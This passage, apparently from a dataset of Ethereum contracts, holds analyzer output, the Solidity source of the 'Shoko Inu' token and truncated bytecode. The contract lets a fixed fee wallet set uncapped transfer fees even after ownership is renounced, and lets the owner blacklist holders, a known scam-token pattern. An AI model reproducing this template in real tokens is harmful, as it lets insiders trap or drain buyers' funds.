36f546f6b656e3a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473655461636f546f6b656e3a3a617070726f76653a20616d6f756e7420657863656564732039362062697473655461636f546f6b656e3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473655461636f546f6b656e3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365655461636f546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a264697066735822122085fad0ae836adff7d5ee8638fa051e736b46058c24e8b22e7f943ae8d298887e64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,908 |
0x91276BB077E18D93b93A471160a65c7bc5D8ad72 | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Shoko is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 4;
uint256 private _feeAddr2 = 4;
address payable private _feeAddrWallet1 = payable(0x9dD92CD0D8a9aAEeDDAE0c97530E961678eBb006);
address payable private _feeAddrWallet2 = payable(0x9dD92CD0D8a9aAEeDDAE0c97530E961678eBb006);
string private constant _name = "Shoko Inu";
string private constant _symbol = "SHOKO INU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600981526020017f53686f6b6f20496e750000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f53484f4b4f20494e550000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260